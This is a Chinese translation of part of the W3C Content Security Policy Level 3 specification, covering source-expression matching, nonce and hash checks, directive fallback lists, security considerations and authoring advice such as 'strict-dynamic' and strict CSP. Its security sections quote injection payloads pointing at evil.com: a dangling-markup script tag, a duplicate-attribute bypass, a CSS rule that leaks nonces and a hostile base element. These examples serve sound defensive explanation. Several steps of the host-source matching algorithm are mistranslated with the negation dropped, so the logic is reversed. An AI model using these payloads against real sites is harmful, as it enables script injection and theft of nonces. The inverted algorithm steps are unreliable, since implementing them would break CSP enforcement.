注意:这通常用于 指令请求前检查 算法,以验证给定的 请求 是否合理。

6.7.2.6. requestresponse 是否匹配 source list

给定一个 响应 response、一个 请求 request、一个 源列表 source list 以及一个 self-origin,此算法返回执行 § 6.7.2.7 url 是否在源中匹配源列表且带有重定向计数?(针对 responseURLsource listself-originrequest重定向计数)的结果。

注意:这通常用于 指令请求后检查 算法,以验证给定的 响应 是否合理。

6.7.2.7. url 是否在 origin 中匹配 source list 且带有 redirect count

给定一个 URL url、一个 源列表 source list、一个 origin 和一个数字 redirect count,如果 URL 匹配列表中的一个或多个源表达式,此算法返回“Matches”,否则返回“Does Not Match”。

  1. 断言:source list 不为 null。

  2. 如果 source list 为空,则返回“Does Not Match”。

  3. 如果 source list大小 为 1,且 source list[0] 是字符串 “'none'” 的 ASCII 不区分大小写 匹配项,则返回“Does Not Match”。

    注意:空的源列表(即没有值的指令:script-src,而不是 script-src host1)等同于包含 'none' 的源列表,且不会匹配任何 URL。

    注意:当存在其他源表达式时,'none' 关键字无效。也就是说,列表 « 'none' » 不匹配任何 URL。另一方面,由 « 'none', https://example.com » 组成的列表将匹配 https://example.com/

  4. 对于 source list 中的每个 expression

    1. 如果 § 6.7.2.8 url 是否在源中匹配表达式且带有重定向计数?(针对 urlexpressionoriginredirect count)返回 “Matches”,则返回“Matches”。

  5. 返回“Does Not Match”。

6.7.2.8. url 是否在 origin 中匹配 expression 且带有 redirect count

给定一个 URL url、一个 源表达式 expression、一个 origin 和一个数字 redirect count,如果 url 匹配 expression,此算法返回“Matches”,否则返回“Does Not Match”。

注意:origin 是资源相对于其应当解析 expression。“'self'”,例如,将根据该上下文片段具有不同的含义。

  1. 如果 expression 是字符串 “*”,则在满足以下一个或多个条件时返回“Matches”:

    1. url方案 (scheme)HTTP(S) 方案

    2. url方案origin方案 相同。

    注意:此逻辑意味着为了允许来自非 HTTP(S) 方案 的资源,必须要么显式指定它(例如 default-src * data: custom-scheme-1: custom-scheme-2:),要么被保护的资源必须从相同的方案加载。

  2. 如果 expression 匹配 scheme-sourcehost-source 语法

    1. 如果 expression 具有 scheme-part,且它不 scheme-part 匹配 url方案,则返回“Does Not Match”。

    2. 如果 expression 匹配 scheme-source 语法,则返回“Matches”。

  3. 如果 expression 匹配 host-source 语法

    1. 如果 urlhost 为 null,则返回“Does Not Match”。

    2. 如果 expression 不具有 scheme-part,且 origin方案scheme-part 匹配 url方案,则返回“Does Not Match”。

      注意:与上面的 scheme-part 一样,我们允许无方案的 host-source 表达式从不安全方案升级到安全方案。

    3. 如果 expressionhost-parthost-part 匹配 urlhost,则返回“Does Not Match”。

    4. port-partexpressionport-part(如果存在),否则为 null。

    5. 如果 port-partport-part 匹配 url,则返回“Does Not Match”。

    6. 如果 expression 包含非空的 path-part,且 redirect count 为 0,则:

      1. path 为在 url 上运行 URL 路径序列化器 的结果。

      2. 如果 expressionpath-partpath-part 匹配 path,则返回“Does Not Match”。

    7. 返回“Matches”。

  4. 如果 expression 是 “'self'” 的 ASCII 不区分大小写 匹配项,则在满足以下一个或多个条件时返回“Matches”:

    1. originurl相同源 (same origin)

    2. originhosturlhost 相同,originporturlport 要么相同,要么分别是其各自 方案默认端口,且满足以下一个或多个条件:

      1. url方案 是 “https” 或 “wss

      2. origin方案 是 “http”,且 url方案 是 “http” 或 “ws

    注意:与上述 scheme-part 逻辑一样,“'self'”匹配算法在安全时允许升级到安全方案。我们将这些升级限制为在特定方案的默认端口或匹配被保护资源源的端口上运行的端点,因为这对于处理可以合理预期会成功的升级似乎已经足够。

  5. 返回“Does Not Match”。

6.7.2.9. scheme-part 匹配

如果包含前者作为 scheme-part 的 CSP 源表达式可能匹配包含后者作为 方案 的 URL,则一个 ASCII 字符串 scheme-part 匹配 另一个 ASCII 字符串。例如,我们称 “http” scheme-part 匹配 “https”。

注意:匹配关系是不对称的。例如,源表达式 https:https://example.com/ 不匹配 URL http://example.com/。我们始终允许从明确的不安全表达式进行安全升级。script-src http: 被视为等同于 script-src http: https:script-src http://example.com 等同于 script-src http://example.com https://example.comconnect-src ws: 等同于 connect-src ws: wss:

更正式地说,如果以下算法返回 “Matches”,则称两个 ASCII 字符串 AB scheme-part 匹配

  1. 如果以下条件之一为真,则返回 “Matches”:

    1. ABASCII 不区分大小写 匹配项。

    2. A 是 “http” 的 ASCII 不区分大小写 匹配项,且 B 是 “https” 的 ASCII 不区分大小写 匹配项。

    3. A 是 “ws” 的 ASCII 不区分大小写 匹配项,且 B 是 “wss”、“http” 或 “https” 的 ASCII 不区分大小写 匹配项。

    4. A 是 "wss" 的 ASCII 大小写不敏感匹配项,而 B 是 "https" 的 ASCII 大小写不敏感匹配项。

  2. 返回“Does Not Match”。

6.7.2.10. host-part 匹配

如果一个 CSP 源表达式包含前者作为 host-part,并且可能匹配后者,则称一个 ASCII 字符串 host-part 匹配 一个 主机 (host)。例如,我们称 "www.example.com" host-part 匹配 "www.example.com"。

更正式地说,如果以下算法返回 "Matches",则称 ASCII 字符串 pattern主机 (host) host host-part 匹配

注意:匹配关系是不对称的。也就是说,pattern 匹配 host 并不意味着 host 会匹配 pattern。例如,*.example.com host-part 匹配 www.example.com,但 www.example.com 不会 host-part 匹配 *.example.com

注意:根据使用情况和需求,本规范的未来版本可能允许字面量 IPv6 和 IPv4 地址。然而,考虑到 IP 地址在命名主机方面的安全性较弱,我们鼓励作者尽可能优先使用后者。

  1. 如果 host 不是一个 域 (domain),则返回 "Does Not Match"。

  2. 如果 pattern 是 "*",则返回 "Matches"。

  3. 如果 pattern "*." 开头

    1. remaining 为移除前导 U+002A (*) 并进行 ASCII 小写化后的 pattern

    2. 如果将 host ASCII 小写化 remaining 结尾,则返回 "Matches"。

    3. 返回“Does Not Match”。

  4. 如果 pattern 不是 hostASCII 大小写不敏感匹配项,则返回 "Does Not Match"。

  5. 返回“Matches”。

6.7.2.11. port-part 匹配

如果一个 CSP 源表达式包含前者作为 port-part,并且可能匹配包含后者 端口 (port)协议 (scheme) 的 URL,则一个 ASCII 字符串或 null input port-part 匹配 URL url。例如,"80" port-part 匹配 http://example.com。

  1. 断言:input 为 null、"*" 或一个或多个 ASCII 数字序列。

  2. 如果 input 等于 "*",则返回 "Matches"。

  3. input 为 null,则令 normalizedInput 为 null;否则将 input 解释为十进制数。

  4. 如果 normalizedInput 等于 url端口,则返回 "Matches"。

  5. 如果 url端口 为 null

    1. defaultPorturl 协议 (scheme)默认端口

    2. 如果 normalizedInput 等于 defaultPort,则返回 "Matches"。

  6. 返回“Does Not Match”。

6.7.2.12. path-part 匹配

如果一个 CSP 源表达式包含前者作为 path-part,且可能匹配包含后者作为 路径 (path) 的 URL,则 ASCII 字符串 path A path-part 匹配 另一个 ASCII 字符串 path B。例如,我们称 "/subdirectory/" path-part 匹配 "/subdirectory/file"。

注意:匹配关系是不对称的。也就是说,path A 匹配 path B 并不意味着 path B 会匹配 path A

  1. 如果 path A 为空字符串,则返回 "Matches"。

  2. 如果 path A 仅由一个等于 U+002F SOLIDUS 字符 (/) 的字符组成,且 path B 为空字符串,则返回 "Matches"。

  3. 如果 path A 的最后一个字符是 U+002F SOLIDUS 字符 (/),令 exact matchfalse,否则为 true

  4. path list Apath list B 分别为将 path Apath B 按照 U+002F SOLIDUS 字符 (/) 严格分割的结果。

  5. 如果 path list A 的项数多于 path list B,则返回 "Does Not Match"。

  6. 如果 exact matchtrue,且 path list A 的项数与 path list B 不同,则返回 "Does Not Match"。

  7. 如果 exact matchfalse

    1. 断言:path list A 的最后一项为空字符串。

    2. path list A 中移除最后一项。

  8. 对于 path list A 中的每一项 piece A

    1. piece Bpath list B 中的下一项。

    2. decoded piece Apiece A百分号解码

    3. decoded piece Bpiece B百分号解码

    4. 如果 decoded piece A 不等于 decoded piece B,则返回 "Does Not Match"。

  9. 返回“Matches”。

6.7.3. 元素匹配算法

6.7.3.1. element 是否可使用 nonce?

给定一个 Element element,如果 nonce-source 表达式可以匹配该元素(如 § 7.2 Nonce 劫持中所述),该算法返回 "Nonceable",否则如果此类表达式不应应用,则返回 "Not Nonceable"。

  1. 如果 element 没有名为 "nonce" 的属性,则返回 "Not Nonceable"。

  2. 如果 element 是一个 script 元素,则 遍历 element属性列表中的每一个 attribute

    1. 如果 attribute 的名称包含 "<script" 或 "<style" 的 ASCII 大小写不敏感匹配项,则返回 "Not Nonceable"。

    2. 如果 attribute 的值包含 "<script" 或 "<style" 的 ASCII 大小写不敏感匹配项,则返回 "Not Nonceable"。

  3. 如果 element 在标记化期间出现过 重复属性 解析错误,则返回 "Not Nonceable"。

    如果我们计划在这里使用此错误,我们需要 HTML 中的某种钩子来记录它。[whatwg/html 问题 #3257]

  4. 返回 "Nonceable"。

此处理旨在降低悬空标记攻击的风险,该攻击旨在窃取现有元素中的 nonce 以加载注入的脚本。然而,它相当昂贵,因为它需要遍历所有属性及其值以确定脚本是否应该执行。在这里,我们尽量只在存在 nonce 的 script 元素上进行此检查以最小化影响,但在我们了解其影响之前,或许应将此算法视为“高风险”。[w3c/webappsec-csp 问题 #98]

6.7.3.2. 源列表是否允许给定的 type 的所有内联行为?

如果 源列表 包含 keyword-source 表达式 'unsafe-inline',且未通过以下算法描述的方式覆盖该表达式,则称其 允许所有内联行为

给定一个 源列表 list 和一个字符串 type,以下算法在允许给定 type 的所有内联内容时返回 "Allows",否则返回 "Does Not Allow"。

  1. allow all inlinefalse

  2. 遍历 list 中的每一个 expression

    1. 如果 expression 匹配 nonce-sourcehash-source 语法,则返回 "Does Not Allow"。

    2. 如果 type 为 "script"、"script attribute" 或 "navigation",且 expression 匹配 keyword-source "'strict-dynamic'",则返回 "Does Not Allow"。

      注意:'strict-dynamic' 仅适用于脚本,不适用于其他资源类型。详细说明请参阅 § 8.2 "'strict-dynamic'" 的用法

    3. 如果 expressionkeyword-source "'unsafe-inline'" 的 ASCII 大小写不敏感匹配项,则将 allow all inline 设为 true

  3. 如果 allow all inlinetrue,则返回 "Allows",否则返回 "Does Not Allow"。

允许所有内联行为源列表
'unsafe-inline' http://a.com http://b.com
'unsafe-inline'

由于存在 nonce 和/或 hash,或缺少 'unsafe-inline' 而不允许所有内联行为源列表

'sha512-321cba' 'nonce-abc'
http://example.com 'unsafe-inline' 'nonce-abc'

type 为 'script' 或 'script attribute' 时,由于存在 'strict-dynamic' 而不允许所有内联行为,但在其他情况下允许所有内联行为源列表

'unsafe-inline' 'strict-dynamic'
http://example.com 'strict-dynamic' 'unsafe-inline'
6.7.3.3. element 是否匹配针对 typesource 的源列表?

给定一个 Element element、一个 源列表 list、一个字符串 type 和一个字符串 source,此算法返回 "Matches" 或 "Does Not Match"。

注意:无论文档编码如何,在应用任何哈希算法之前,source 都将转换为 UTF-8

  1. 如果 § 6.7.3.2 源列表是否允许给定的 type 的所有内联行为? 针对 listtype 返回 "Allows",则返回 "Matches"。

  2. 如果 type 为 "script" 或 "style",且 § 6.7.3.1 元素是否可使用 nonce? 作用于 element 时返回 "Nonceable"

    1. 遍历 list 中的每一个 expression

      1. 如果 expression 匹配 nonce-source 语法,且 element 具有 nonce 属性,且其值 等于 expressionbase64-value 部分,则返回 "Matches"。

    注意:Nonce 仅适用于内联 script 和内联 style,不适用于任一元素的属性或 javascript: 导航。

  3. unsafe-hashes flagfalse

  4. 遍历 list 中的每一个 expression

    1. 如果 expressionkeyword-source "'unsafe-hashes'" 的 ASCII 大小写不敏感匹配项,则将 unsafe-hashes flag 设为 true 并跳出循环。

  5. 如果 type 为 "script" 或 "style",或者 unsafe-hashes flagtrue

    1. source 设为对 source 执行 JavaScript 字符串转换后执行 UTF-8 编码的结果。

    2. 遍历 list 中的每一个 expression

      1. 如果 expression 是 "'strict-dynamic'" keyword-source

        1. 如果 type 为 "script",且 element 不是 "parser-inserted" 的,则返回 "Matches"。

      2. 如果 expression 匹配 hash-source 语法

        1. algorithm 为 null。

        2. 如果 expressionhash-algorithm 部分是 "sha256" 的 ASCII 大小写不敏感匹配项,则将 algorithm 设为 SHA-256

        3. 如果 expressionhash-algorithm 部分是 "sha384" 的 ASCII 大小写不敏感匹配项,则将 algorithm 设为 SHA-384

        4. 如果 expressionhash-algorithm 部分是 "sha512" 的 ASCII 大小写不敏感匹配项,则将 algorithm 设为 SHA-512

        5. 如果 algorithm 不为 null

          1. actual 为将 algorithm 应用于 source 后,执行 base64 编码的结果。

          2. expectedexpressionbase64-value 部分,其中所有的 '-' 字符被替换为 '+',所有的 '_' 字符被替换为 '/'。

            注意:此替换将 base64url 编码的哈希标准化为 base64 编码以便进行匹配。

          3. 如果 actualexpected 相同,则返回 "Matches"。

    注意:哈希适用于内联 script 和内联 style。如果存在 "'unsafe-hashes'" 源表达式,它们也将适用于事件处理器、style 属性和 javascript: 导航。

  6. 返回“Does Not Match”。

6.8. 指令算法

6.8.1. 获取 request 的有效指令

每个 获取指令 (fetch directive) 控制一个特定的 请求 (request) 目标。给定一个 请求 request,以下算法返回 null 或该请求的 有效指令 (effective directive)名称

  1. 如果 request发起者 (initiator) 为 "prefetch" 或 "prerender",则返回 default-src

  2. 切换 request目标 (destination),并执行相关步骤

    空字符串
    1. 返回 connect-src

    "manifest"
    1. 返回 manifest-src

    "object"
    "embed"
    1. 返回 object-src

    "frame"
    "iframe"
    1. 返回 frame-src

    "audio"
    "track"
    "video"
    1. 返回 media-src

    "font"
    1. 返回 font-src

    "image"
    1. 返回 img-src

    "style"
    1. 返回 style-src-elem

    "script"
    "xslt"
    "audioworklet"
    "paintworklet"
    1. 返回 script-src-elem

    "serviceworker"
    "sharedworker"
    "worker"
    1. 返回 worker-src

    "json"
    "text"
    "webidentity"
    1. 返回 connect-src

    "report"
    1. 返回 null。

  3. 返回 connect-src

注意:算法默认返回 connect-src 作为回退。这是为了给新增且未明确归入其他类别的获取目标提供支持。

6.8.2. 获取内联检查的有效指令

给定一个字符串 type,此算法返回有效指令的 名称

注意:虽然 有效指令 仅为 请求 定义,但在本算法中,它被类似地用于指代对特定类型的内联检查最相关的指令。

  1. 切换至 type

    "script"
    "navigation"
    1. 返回 script-src-elem

    "script attribute"
    1. 返回 script-src-attr

    "style"
    1. 返回 style-src-elem

    "style attribute"
    1. 返回 style-src-attr

  2. 返回 null。

6.8.3. 获取获取指令回退列表

将返回特定 指令 的回退 指令有序集合。返回的 有序集合 从最相关到最不相关排序,并包含有效指令本身。

给定一个字符串 directive name

  1. 切换 directive name

    "script-src-elem"
    1. 返回 << "script-src-elem", "script-src", "default-src" >>

    "script-src-attr"
    1. 返回 << "script-src-attr", "script-src", "default-src" >>

    "style-src-elem"
    1. 返回 << "style-src-elem", "style-src", "default-src" >>

    "style-src-attr"
    1. 返回 << "style-src-attr", "style-src", "default-src" >>

    "worker-src"
    1. 返回 << "worker-src", "child-src", "script-src", "default-src" >>

    "connect-src"
    1. 返回 << "connect-src", "default-src" >>

    "manifest-src"
    1. 返回 << "manifest-src", "default-src" >>

    "object-src"
    1. 返回 << "object-src", "default-src" >>

    "frame-src"
    1. 返回 << "frame-src", "child-src", "default-src" >>

    "media-src"
    1. 返回 << "media-src", "default-src" >>

    "font-src"
    1. 返回 << "font-src", "default-src" >>

    "img-src"
    1. 返回 << "img-src", "default-src" >>

  2. 返回 << >>

6.8.4. 获取指令是否应执行

此算法用于 获取指令,以决定指令是应该执行还是推迟到更适合的其他指令。例如:如果 effective directive nameworker-src(意味着我们当前正在检查 worker 请求),则如果存在 worker-srcscript-src 指令,则 default-src 指令不应执行。

给定一个字符串 effective directive name,一个字符串 directive name 和一个 策略 (policy) policy

  1. directive fallback list 为对 effective directive name 执行 § 6.8.3 获取获取指令回退列表的结果。

  2. 遍历 directive fallback list 中的每一个 fallback directive

    1. 如果 directive namefallback directive,则返回 "Yes"。

    2. 如果 policy 包含一个 名称fallback directive 的指令,则返回 "No"。

  3. 返回 "No"。

7. 安全与隐私考量

7.1. Nonce 重用

Nonce 会覆盖交付它们的指令中存在的其他限制。因此,它们必须保持不可猜测,因为绕过资源策略否则将变得轻而易举。

如果服务器将 nonce-source 表达式作为 策略 的一部分交付,则服务器在每次传输策略时必须生成一个唯一值。生成的 value 应该至少有 128 位长(在编码前),并且应该通过加密安全的随机数生成器生成,以确保攻击者难以预测该值。

注意:使用 nonce 来允许内联脚本或样式不如不使用 nonce 安全,因为 nonce 会覆盖它们所在的指令中的限制。能够获取 nonce 的攻击者可以随时随地执行他们想要的任何脚本。话虽如此,在旧代码上叠加内容安全策略时,nonce 比 'unsafe-inline' 提供了实质性的改进。在考虑 'unsafe-inline' 时,鼓励作者改为考虑 nonce(或哈希)。

7.2. Nonce 劫持

7.2.1. 悬空标记攻击

诸如 [FILEDESCRIPTOR-2015] 中讨论的悬空标记攻击可用于重新利用页面的合法 nonce 进行注入。例如,给定 script 元素之前的注入点

<p>Hello, [INJECTION POINT]</p>
<script nonce=abc src=/good.js></script>

如果攻击者注入字符串 "<script src='https://evil.com/evil.js' ",浏览器将接收以下内容

<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/good.js></script>

然后它将解析该代码,最终得到一个 script 元素,其 src 属性指向恶意负载,一个名为 </p> 的属性,一个名为 "<script" 的属性,一个 nonce 属性,以及第二个被解析器作为重复项方便丢弃的 src 属性。

§ 6.7.3.1 元素是否可使用 nonce? 算法试图通过遍历 scriptstyle 元素属性,查找名称或值中的字符串 "<script" 或 "<style" 来缓解这种特定的攻击。

用户代理在实现此算法时必须特别注意不要忽略重复属性。如果一个元素有重复属性,第一个属性之后的任何实例都会被忽略,但在 § 6.7.3.1 元素是否可使用 nonce? 算法中,所有属性(包括重复属性)都需要进行检查。

目前,HTML 规范的解析算法会在 § 6.7.3.1 元素是否可使用 nonce? 算法运行之前删除此信息,这使得实际上无法检测重复属性。[whatwg/html 问题 #3257]

对于以下示例页面

Hello, [INJECTION POINT]
<script nonce=abc src=/good.js></script>

以下注入的字符串将使用重复属性尝试绕过 § 6.7.3.1 元素是否可使用 nonce? 算法检查

Hello, <script src='https://evil.com/evil.js' x="" x=
<script nonce="abcd" src=/good.js></script>

7.2.2. 通过内容属性进行 Nonce 泄露

一些针对 CSP 的攻击依赖于通过可以读取内容属性的各种机制窃取 nonce 数据的能力。CSS 选择器是最好的例子:通过巧妙地使用前缀/后缀文本匹配选择器,值可以被发送到攻击者的服务器进行重用。示例

script[nonce=a] { background: url("https://evil.com/nonce?a");}

nonce 部分讨论了通过将 nonce 从元素的内容属性中隐藏并将其移动到内部槽位来缓解此类攻击。这样做是为了确保 nonce 值暴露给脚本,而不是暴露给任何其他非脚本通道。

7.3. Nonce 重定向

Nonce 会绕过 host-source 表达式,使开发人员能够从任何源加载代码。这在一般情况下是好的,并且从开发者的角度来看是可取的。然而,如果攻击者可以注入 base 元素,那么当解析相对 URL 时,原本安全的页面可能会被破坏。也就是说,在 https://example.com/ 上,以下代码将加载 https://example.com/good.js

<script nonce=abc src=/good.js></script>

然而,以下内容将加载 https://evil.com/good.js

<base href="https://evil.com">
<script nonce=abc src=/good.js></script>

为了降低这种风险,建议在每个页面上设置一个明确的 base 元素,或者通过在页面策略中设置 base-uri 指令来限制攻击者注入其自身 base 元素的能力。例如,base-uri 'none'

7.4. CSS 解析

style-src 指令限制了受保护资源可以加载样式的路径。然而,如果用户代理使用了宽松的 CSS 解析算法,攻击者可能能够欺骗用户代理接受由其他可信源托管的恶意“样式表”。

这些攻击类似于 Chris Evans 在 2009 年描述的 CSS 跨源数据泄露攻击 [CSS-ABUSE]。用户代理应该使用相同的机制抵御这两种攻击:对具有不当 MIME 类型的样式表使用更严格的 CSS 解析规则。

7.5. 违规报告

本文档中的违规报告机制旨在降低恶意网站利用违规报告探测其他服务器行为的风险。例如,考虑一个允许 https://example.com 作为图片源的恶意网站。如果该恶意站点尝试加载 https://example.com/login 作为图片,并且 example.com 服务器重定向到一个身份提供商(例如 identityprovider.example.net),CSP 将阻止该请求。如果违规报告包含完整的被阻止 URL,则该报告可能包含重定向 URL 中包含的敏感信息,如会话标识符或声称的身份。因此,用户代理仅包含原始请求的 URL,而不包含重定向目标。

另请注意,违规报告应被视为受攻击者控制的数据。希望在仪表板或类似服务中收集违规报告的开发人员在渲染它们之前应小心正确转义其内容(并且可能应该他们自己也使用 CSP 来进一步降低注入风险)。对于违规报告的 "script-sample" 属性以及 sample 属性(属于 SecurityPolicyViolationEvent)尤其如此,它们都是完全受攻击者控制的字符串。

7.6. 路径与重定向

为了避免跨源泄露路径信息(如 Egor Homakov 在 使用 CSP 进行邪恶活动 中讨论的),如果被加载的资源是重定向的结果,匹配算法会忽略源表达式的路径组件。例如,给定一个活动策略为 img-src example.com example.org/path 的页面

这种限制在涉及重定向时降低了文档策略的粒度,这是为了避免此类暴力破解信息泄露而必须做出的妥协。

来自 public-webappsec@w3.org 的较长线程 "从 CSP 中移除路径?" 有关于替代提案的更详细讨论。

7.7. 安全升级

为了减轻像 Yan Zhu 的 Sniffly 等历史扫描攻击的一种变体,CSP 不允许页面通过诸如 script-src http://example.com 之类的策略将自身锁定在不安全 URL 中。如 § 6.7.2.9 scheme-part 匹配 中所述,源表达式的协议部分将始终允许升级到安全变体。

7.8. CSP 继承以避免绕过

本地协议 (local schemes) 加载的文档将继承源文档策略的副本。其目标是确保页面不能通过嵌入框架或打开包含完全受其控制的内容的新窗口(srcdoc 文档、blob:data: URL,可以通过 document.write() 操作的 about:blank 文档等)来绕过其策略。

如果不发生这种情况,页面即使没有 unsafe-inline,也可以通过简单地嵌入 srcdoc iframe 在其执行上下文中执行内联脚本。<iframe srcdoc="<script>alert(1);</script>"></iframe>

注意,我们创建了 CSP 列表的副本,这意味着新 DocumentCSP 列表是其创建时相关策略的快照。新 DocumentCSP 列表中的修改不会影响源 DocumentCSP 列表,反之亦然。

在下面的示例中,iframe 内部的图片将不会加载,因为它被 iframe 的 meta 标签中的策略阻止了。iframe 外部的图片将加载(假设主页面策略不阻止它),因为插入到 iframe 中的策略不会影响它。<iframe srcdoc='<meta http-equiv="Content-Security-Policy" content="img-src example.com;"> <img src="not-example.com/image">'></iframe> <img src="not-example.com/image">

8. 创作考量

8.1. 多重策略的效果

本节不具有规范性。

上述章节指出,当存在多重策略时,必须根据其类型对每一项进行强制或报告。一个示例将有助于阐明这在实践中应该如何工作。鉴于某个站点由于某种原因交付了以下 HTTP 头,XMLHttpRequest 的行为可能看起来不明确

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

是否允许连接到 example.com?简单来说,连接是不允许的。强制执行两条策略意味着潜在的连接必须经过这两项策略且不被阻止。即使第二条策略允许此连接,第一条策略也包含 connect-src 'none',因此其强制执行会阻止连接。其影响在于,将额外策略添加到要强制执行的策略列表中只能进一步限制受保护资源的能力。

为了进一步演示这一点,考虑此页面上的脚本标签。第一条策略将通过 default-src 指令将脚本锁定在 'self'http://example.comhttp://example.net。然而,第二条策略将仅允许来自 http://example.com/ 的脚本。脚本只有在满足两条策略的标准时才会加载:在这种情况下,唯一能匹配的来源是 http://example.com,因为两条策略都允许它。

8.2. "'strict-dynamic'" 的用法

本节不具有规范性。

基于主机和路径的策略很难正确配置,特别是在 CDN 等蔓延的源上。针对 Cure53 的 H5SC Minichallenge 3: "Sh*t, it’s CSP!" 的解决方案 [H5SC3] 是此类策略可能启用的绕过类型的很好示例,尽管 CSP 能够通过详尽声明特定资源来减轻这些绕过,但这些列表最终会变得脆弱、尴尬,并且难以实现和维护。

"'strict-dynamic'" 源表达式旨在使 CSP 更易于为现有应用程序部署,这些应用程序对其直接加载的脚本有高度信心,但对其预先提供合理资源加载列表的能力信心不足。

如果它存在于 script-srcdefault-src 指令中,它有两个主要效果

  1. 加载脚本时将忽略 host-sourcescheme-source 表达式,以及 "'unsafe-inline'" 和 "'self'" keyword-sources。

    将遵守 hash-sourcenonce-source 表达式。

  2. 允许由非 "parser-inserted" script 元素触发的脚本请求。

第一个变化允许您以向后兼容的方式部署 "'strict-dynamic'",而无需嗅探用户代理:策略 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' 在支持 CSP1 的浏览器中将表现为 'unsafe-inline' https:,在支持 CSP2 的浏览器中表现为 https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV',在支持 CSP3 的浏览器中表现为 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'

第二个变化允许通过 nonce 或哈希获得页面访问权限的脚本引入其依赖项,而无需将其显式添加到页面的策略中。

假设 MegaCorp, Inc. 部署了以下策略Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'

并启用了该策略交付了以下 HTML

...
<script src="https://cdn.example.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
...

这将生成一个针对 https://cdn.example.com/script.js 的请求,由于匹配的 nonce 属性,它不会被阻止。

如果 script.js 包含以下代码

var s = document.createElement('script');
s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild(s);

document.write('<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>');

dependency.js 将加载,因为 createElement() 创建的 script 元素不是 "parser-inserted"

然而,sadness.js不会 加载,因为 document.write() 产生的 script 元素是 "parser-inserted"

注意:使用 'strict-dynamic',在运行时创建的脚本将被允许执行。如果攻击者可以控制此类脚本的位置,策略将允许加载任意脚本。在策略中使用 'strict-dynamic' 的开发人员应审核非解析器插入式 API 的使用,并确保它们不会被不可信的数据调用。这包括倾向于在运行时确定脚本位置的应用程序或框架。

8.3. "'unsafe-hashes'" 的用法

本节不具有规范性。

旧版网站和具有旧版依赖项的网站可能很难完全外部化事件处理器。这些网站可以通过允许 'unsafe-inline' 来启用此类处理器,但这是一个风险极大的“大锤”(并且不能与 nonce 或哈希结合使用)。

"'unsafe-hashes'" 源表达式旨在通过允许开发人员通过哈希启用特定处理器,使这些情况下的 CSP 部署更简单、更安全。

MegaCorp, Inc. 无法在合理的时间内完全摆脱以下 HTML<button id="action" onclick="doSubmit()">

他们决定使用 "'unsafe-hashes'" 以及对应于 doSubmit() 的哈希源表达式,而不是通过指定 "'unsafe-inline'" 来降低安全性,如下所示

Content-Security-Policy:  script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='

'unsafe-hashes' 提供 的功能对于旧网站很有用,但对于现代网站应避免使用。特别注意,哈希允许特定脚本执行,但不能确保它按开发人员意图的方式执行。如果一个有趣的权限被公开为内联事件处理器(例如 <a onclick="transferAllMyMoney()">Transfer</a>),那么该脚本就变得可供攻击者作为 <script>transferAllMyMoney()</script> 注入。开发人员应仔细权衡允许特定脚本执行的风险与允许内联事件处理器可能带来的部署优势。

8.4. 通过哈希允许外部 JavaScript

本节不具有规范性。

[CSP2] 中,哈希 源表达式 只能匹配内联脚本,但现在由于子资源完整性 [SRI] 已广泛部署,我们可以扩大范围以支持外部化 JavaScript。

如果为 script 指定了多组完整性元数据,则当且仅当 script 的完整性元数据中的 每一项 都匹配策略时,该请求才匹配策略的 hash-sources。

注意:CSP 规范指出,内联 script 元素或事件处理器的内容在计算其哈希之前需要使用 UTF-8 编码[SRI] 计算被获取的原始资源的哈希。这意味着允许内联脚本块所需的哈希可能与允许外部脚本所需的哈希不同,即使它们具有相同的内容。

MegaCorp, Inc. 希望以确保内容符合其预期的方式允许页面上的两个特定脚本。他们通过设置以下策略来实现Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'

在存在该策略的情况下,以下 script 元素将被允许执行,因为它们仅包含与策略匹配的完整性元数据

<script integrity="sha256-abc123" ...></script>
<script integrity="sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha512-321cba" ...></script>

而以下 script 元素将不会执行,因为它们包含与策略不匹配的有效元数据(即使其他元数据确实匹配)

<script integrity="sha384-xyz789" ...></script>
<script integrity="sha384-xyz789 sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha384-xyz789 sha512-321cba" ...></script>

无法识别的元数据(无论是完全无效,还是指定了尚未支持的哈希算法)不会影响此处描述的行为。也就是说,以下元素在存在上述策略时将被允许执行,因为额外的元数据无效,因此不会允许其内容未在策略中显式列出的脚本执行

<script integrity="sha256-abc123 sha1024-abcd" ...></script>
<script integrity="sha512-321cba entirely-invalid" ...></script>
<script integrity="sha256-abc123 not-a-hash-at-all sha512-321cba" ...></script>

8.5. 严格 CSP

本节不具有规范性。

部署有效的 CSP 来抵御 XSS 是一项挑战(如 CSP 已死,CSP 万岁! [LONG-LIVE-CSP] 中所述)。然而,强制执行以下 CSP 指令集已被证明是一种有效且可部署的 XSS 缓解措施。

  1. script-src:仅使用 nonce source-expression 和/或 hash source-expression,并配合 "'strict-dynamic'" keyword-source

    注意:虽然 "'strict-dynamic'" 易于部署(如 § 8.2 "'strict-dynamic'" 的用法 中所述),但应尽可能避免使用它。

    注意:为了向后兼容,建议将 https: scheme-source 与 "'strict-dynamic'" 一起指定。

  2. base-uri:指定值 "'self'" 或 "'none'"。

满足上述标准的 CSP 称为严格 CSP。详情在 [WEBDEV-STRICTCSP] 中讨论。

以下是严格 CSP 的示例基于 Nonce 的严格 CSP
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';

基于哈希的严格 CSP

Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';

8.6. 数据泄露 (Exfiltration)

本节不具有规范性。

当请求的内容(例如 URL)包含关于用户或页面且应受限制而不应共享的信息时,可能会发生数据泄露。

